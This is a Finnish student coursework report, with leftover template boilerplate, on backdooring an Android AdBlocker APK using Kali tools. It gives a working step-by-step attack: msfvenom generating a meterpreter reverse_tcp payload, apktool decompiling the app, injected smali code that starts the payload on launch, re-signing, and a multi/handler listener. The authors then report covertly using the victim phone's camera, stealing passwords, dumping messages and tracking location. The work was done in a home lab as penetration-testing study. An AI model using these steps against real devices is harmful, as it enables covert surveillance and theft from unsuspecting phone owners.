jamk.fi

Kyberturvallisuus

Reverse TCP Android

Mikael Romanov
Ville Pulkkinen

Harjoitustyö
Marraskuu 2016
Tieto- ja Viestintätekniikka
IT-Insinööri
Kyberturvallisuus

Jyväskylän ammattikorkeakoulu
JAMK University of Applied Sciences

jamk.fi

Kuvailulehti

Tekijä(t)	Julkaisun laji	Päivämäärä
Romanov Mikael Ville Pulkkinen Aapo Ratas	Harjoitustyö, AMK	Kuukausi Vuosi
	Sivumäärä	Julkaisun kieli Suomi
		Verkkojulkaisulupa myönnetty: x

Työn nimi
Opinnäytetyön nimi
Linux Serveri

Tutkinto-ohjelma

Työn ohjaaja(t)
Etunimi Sukunimi

Toimeksiantaja(t)

Tiivistelmä

Täyttäessäsi tämän lomakkeen ruutuja, aloita tästä ruudun ohjaustekstin jälkeiseltä riviltä, jotta fonttikokona pysyy 11.

Tiivistelmän perusrakenne on seuraava:

- tausta, tehtävä ja tavoitteet
- toteutustapa
- tulokset
- johtopäätökset.

Teksti tavutetaan.

Tiivistelmä tiivistää siis tehdyn työn – ei raportin sisältöä. Jos tilaa jää, voi lyhyesti mainita raportin sisällöstä.

Koko tiivistelmälle varattu tila tulee käyttää.

Tiivistelmä kirjotetaan imperfektissä ja passiivissa. Tekstissä ei saa viitata opinnäytetyöhön eli ei saa käyttää sanoja ”tämä työ”.

Avainsanat (asiasanat)

Muut tiedot

Description

<table>
<tr><td>Author(s)
Romanov Mikael</td><td>Type of publication</td><td>Date
Month Year</td></tr>
<tr><td rowspan="2"></td><td rowspan="2"></td><td>Language of publication:</td></tr>
<tr><td>Number of pages
29</td><td>Permission for web publication: x</td></tr>
<tr><td colspan="3">Title of publication
Title
Possible subtitle</td></tr>
<tr><td colspan="3">Degree programme</td></tr>
<tr><td colspan="3">Supervisor(s)
Last name, First name</td></tr>
<tr><td colspan="3">Assigned by</td></tr>
<tr><td colspan="3">Abstract

When completing this form, start from this field, on the row under the instructions, so that the font size remains 11.

The basic structure of the abstract is as follows:
• background
• task and objectives
• implementation method
• results
• conclusions.

In other words, the abstract summarises the work that has been done – not the content of the report. If there is room, the content of the report may be briefly mentioned.

The entire space reserved for the abstract must be used.

The abstract should be written in the past tense and with a passive voice. The text must not refer to the thesis, i.e., the words ‘this thesis’ must not be used.</td></tr>
<tr><td colspan="3">Keywords/tags (subjects)</td></tr>
<tr><td colspan="3">Miscellaneous</td></tr>
</table>

Sisältö

1 Johdanto

Tehtävänä oli tutkia Kali Linux distron työkaluja ja valita mielenkiintoisin niistä. Perehtyä siihen ja purkaa komennot mitä ne sisältävät ja miksi näin tehdään. Valitsimme Nmap, Msfconsole(msfvenom), apktool ja jarsigner. Valitsimme kohteeksi android laitteen, johon hyökkäsimme tekemällä takaoven viralliseen .apk tiedostoon. Käytimme hyökkäyksessä reverse tcp:tä, koska pääsimme parhaiten sillä käsiksi uhrin tiedostoihin. Valitsimme reverse_tcp hyökkäyksen, sillä adblocker tiedostoa ei saa ladattua Play Storesta. Virallinen .apk tiedosto mitä käytimme oli AdBlocker, sillä sitä ei saa ladattua Play Storesta. Valitsimmi AdBlockerin juuri siksi, koska ihmiset haluavat eroon mainoksista ja ainoa tapa saada sovellus on joko kaverilta tai lataamalla se epäilyttäviltä foorumeilta. Hyökkäys toteutettiin kotiverkon sisällä. Käytimme hyökkäyksessä Zenfone 2 puhelinta josta oltiin unlockattuna bootloader ja siihen oltiin flashätty Kali Nethunter 2. Uhrimme oli Samsung Galaxy S3.

2 Käytettyjä komentoja:

2.1 Msfvenom:

-p = payload(hyökkäyksen tapa: kirjasto, reverse tcp, reverse http, reverse https)

LHOST = IP osoite, johon payload ottaa yhteyden. Voi olla julkinen IP osoite tai Private. Julkinen IP osoitteessa tulee käyttää port forwardingia.

LPORT = Hyökkääjän määräämä portti mihin porttiin hyökkäys yhdistyy

R > käyttäjän määräämä nimi tiedostolle(pääte tulee olla sama kuin käytössä oleva kirjasto)

2.2 Msfconsole:

Msfconsole = käynnistää msfconsolen

set PAYLOAD android/meterpreter/reverse_tcp = aseta hyökkäyksen kirjasto

set LHOST (your ip) = kuuntele tätä osoitetta

set LPORT (your port) = kuuntele tätä porttia

exploit = käynnistä hyökkäys

2.3 Apktool:

d = decode

-f = force

-o = output

b = kokoa

3 Kali Linux

Kali linux on maaliskuussa 2013 julkaistu ilmainen Debianiin pohjautuva jakelupaketti, mikä on kehitetty toimivaan 86x ja 64x arkkitehtuurin , sekä ARM (Advanced RISC Machines)-pohjaisilla laitteilla, kuten Rasberry Pi:llä. Se suunniteltiin muun muassa penetraatiotestaamiseen, tietoturva-aukkojen löytämiseen, sekä niiden hyväksikäyttämiseen Kalissa on yli 600 penetraatiotestaamiseen suunnattua työkalua joiden avulla pyritään esimerkiksi selvittämään kohteen tietoja ja mahdollisia heikkouksia. Tehokkaita ohjelmia ovat nmap(network mapper) jonka avulla voidaan muun muassa selvittää useita kohteen heikkouksia, kuten avoimia portteja tai mitä palveluita kohde käyttää, tai esim. Wireshark, joka on verkossa toimiva ohjelma jolla pystyy mm. seurata verkon liikennettä ja havaita poikkeavuuksia.

4 Takaoven tekeminen

Ensin teimme payloadin android alustalle käyttämällä msfvenom työkalua. Työkalu on tarkoitettu syöttämään takaovia tiedostoihin.

msfvenom -p android/meterpreter/reverse_tcp LHOST=(your ip) LPORT=5555 R > filename.apk

```
root@pentester:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.43
 LPORT=5555 R>payloadi.apk
No platform was selected, choosing Msf::Module::Platform::Android from the paylo
ad
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 9484 bytes
```

Msfconsole vaatii –p parametrin, joka tarkoittaa payload, tämän jälkeen määritetään kirjasto mikä alusta on kyseessä ja minkälainen hyökkäys (*android/meterpreter/reverse_tcp***)**. LHOST komento on hyökkääjän haluama IP osoite mihin uhrin laite ottaa yhteyden. LPORT määrittää hyökkääjän portin mihin uhri tulee. R> parametri on tiedoston nimi. Nimen pääte tulee olla sama kuin kirjastossa mistä hyökkäys on. Tässä tapauksessa kyseessä on android käyttöjärjestelmä, mikä käyttää .apk päätteisiä tiedostoja asennuksessa. Tämä tiedosto pääte ei toimi muilla alustoilla.

5 APK tiedostojen purkaminen

Apktool on 3.osapuolen työkalu, mikä on tarkoitettu ”reverse engineeringiin”. Tämä kyseinen työkalu on tarkoitettu .apk tiedostoille ja se pystyy melkein kokonaan kääntämään koodin alkuperäiseen muotoon ennen ”compilingia” eli lähdekoodiksi. Pystyimme apktool:lla purkamaan AdBlocker tiedoston niin, että saimme syötettyä sinne takaoven.

Purimme meidän tekemän takaovi sovelluksen:

apktool d -f -o payload /root/meterpreter.apk

```
root@pentester:~# apktool d f o payloadi /root/payloadi.apk
I: Using Apktool 2.2.0-dirty on payloadi.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
```

Apktool vaatii purkamisen yhteydessä d parametrin mikä tulee sanasta decode, -f parametrin mikä pakottaa puretun tiedoston käytössä olevaan kansioon ja –o parametri, mikä määrää minne kansioon tiedosto puretaan.

Teimme saman viralliselle android tiedostolle:

apktool d -f -o original /root/Original_APK_Name

6 Takaoven kopioiminen viralliseen tiedostoon

Ensin menimme takaovi tiedoston **stage/** kansion sisään:

/root/payload/smali/com/metasploit/stage

Teimme kansion stage/ virallisen apk tiedoston kansio rakennelmaan:

mkdir /root/original/smali/com/metasploit/stage

Kopioimme kaikki .smali tiedostot, jotka sisälsivät sanan “payload”. Liitimme kopioidut tiedostot virallisen apk tiedoston stage/ kansion alle:

cp /root/payload/smali/com/metasploit/stage payload*

/root/original/smali/com/metasploit/stage

```
root@pentester:~/payloadi/smali/com/metasploit/stage# ls -lah
total 76K
drwxr-xr-x 2 root root 4.0K Nov 27 21:45 .
drwxr-xr-x 3 root root 4.0K Nov 27 21:45 ..
-rw-r--r-- 1 root root  341 Nov 27 21:45 BuildConfig.smali
-rw-r--r-- 1 root root 2.1K Nov 27 21:45 MainActivity.smali
-rw-r--r-- 1 root root 1.3K Nov 27 21:45 MainBroadcastReceiver.smali
-rw-r--r-- 1 root root  895 Nov 27 21:45 MainService.smali
-rw-r--r-- 1 root root  749 Nov 27 21:45 Payload$1.smali
-rw-r--r-- 1 root root  22K Nov 27 21:45 Payload.smali
-rw-r--r-- 1 root root 8.6K Nov 27 21:45 PayloadTrustManager.smali
-rw-r--r-- 1 root root  505 Nov 27 21:45 R$attr.smali
-rw-r--r-- 1 root root  466 Nov 27 21:45 R.smali
-rw-r--r-- 1 root root  578 Nov 27 21:45 R$string.smali
```

```
root@pentester:~/payloadi/smali/com/metasploit/stage# cp -p Payload* /root/Adblo
cker/smali/com/metasploit/stage/
```

7 Sytykkeen laittaminen alkuperäiseen tiedostoon

Seuraavaksi avasimme AndroidManifest.xml tiedoston:

nano /root/original/AndroidManifest.xml

Etsimme sieltä kahta parametria:

<action android:name="android.intent.action.MAIN"/>

<category android:name="android.intent.category.LAUNCHER"/>

Kirjoitimme muistiin activity parametrin sisällön

<activity>android:name="com.adblocker.jne.MainActivity"

Teimme .smali tiedoston virallisen apk tiedoston kansion smali/ kansion sisään ja nimesimme sen:

nano /root/original/smali/Activity_Path -> **/root/original/smali/com/adblocker/jne/MainActivity.smali**

.smali tiedoston nimeämisen yhteydessä tulee laittaa pisteiden tilalle ”/” merkki.

Seuraavaksi etsimme komentoa:

;->onCreate(Landroid/os/Bundle;)V

Kirjoitimme sen perään:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

Tämä komento käynnistää takaoven, kun tiedosto käynnistyy. Tallensimme tiedoston ja poistuimme teksti editorista.

8 Käyttöoikeuksien syöttäminen AndroidManifest.xml tiedostoon

Muokkasimme käyttöoikeuksia molemmista AndroidManifest.xml tiedostostoista.

Tiedostoon pystyi lisäämään tai poistamaan oikeuksia. Oikeuksien piti olla samat molemmissa Manifesteissä, sillä muuten hyökkäys ei toimisi kunnolla. Oikeudet löytyivät *<uses-permission adroid:name=””* parametrin takaa.

9 Virallisen APK tiedoston kokoaminen

Käyttöoikeuksien muokkaamisen jälkeen kokosimme virallisen apk tiedoston takaisin kasaan:

apktool b /root/original

b parametri tarkoittaa recompile eli takaisin kokoamista

APK tiedosto kokoontui kansioon:

/root/original/dist

10 APK tiedoston allekirjoitus

Allekirjoitimme tiedoston jarsigner työkalulla:

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -key-pass android -digestalg SHA1 -sigalg MD5withRSA apk_path androiddebugkey

apk_path = **takaovi apk tiedosto**.

11 Hyökkäys

Aloitimme hyökkäyksen kuuntelemalla määrittämäämme rajapintaa käynnistämällä msfconsolen komennolla **msfconsole**, sen jälkeen ajoimme komennos **use multi/handler**. Komento kuuntelee määritettyä rajapintaa niin kauan kunnes toisin käsketään. Asetimme payloadin kirjaston komella **set PAYLOAD android/meterpreter/reverse_tcp**, jotta pystyimme käyttämään uhrin laitetta mielivaltaisesti. Tämän jälkeen määritimme **LHOST** ip, mihin IP osoitteen paikalle kirjoitetaan payloadissa aiemmin määritetty osoite. **LPORT** port, mihin portin paikalle kirjotetaan payloadissa aiemmin määritetty portti. Määritysten jälkeen ajoimme komennon **exploit**, mikä käynnisti rajapinnan kuuntelun, sekä hyökkäyksen kun uhri käynnisti AdBlock tiedoston.

Uhri sai tiedoston bluetoothilla asensi sen ja käynnisti AdBlock sovelluksen. Kuuntelimme rajapintaa ja saimme välittömästi yhteyden uhrin laitteeseen. Pystyimme ottamaan uhrin kameralla kuvia ja videokuvaa ilman uhrin tietoutta, ottamaan screenshotteja, ääninauhoitetta, varastamaan tallennetut salasana tiedostot, poistamaan kaikki kansiot tiedostoineen, dumppaamaan viestit sekä osoitekirjat, paikantamaan uhrin sijainnin käyttämällä geolocatoria ja vaikka mitä. Uhrin laitteelta pääsi muokkaamaan oikeuksia tiedostoihin sekä kansioihin. Laite oli siis meillä hallussa. Android prosesseita uhrin laitteella selaillessa, ei ilmaantunut mitään silmään pistävää. Normaali käyttäjä ei huomaa, että onko laite kaapattu mutta hyökkäyksiin perehtynyt käyttäjä löytää reverse_tcp prosessin kyllä. Lopetimme hyökkäyksen käyttämällä komentoa **exit**. Hyökkäys onnistui ja olimme tyytyväisiä saavuttamaamme tulokseen.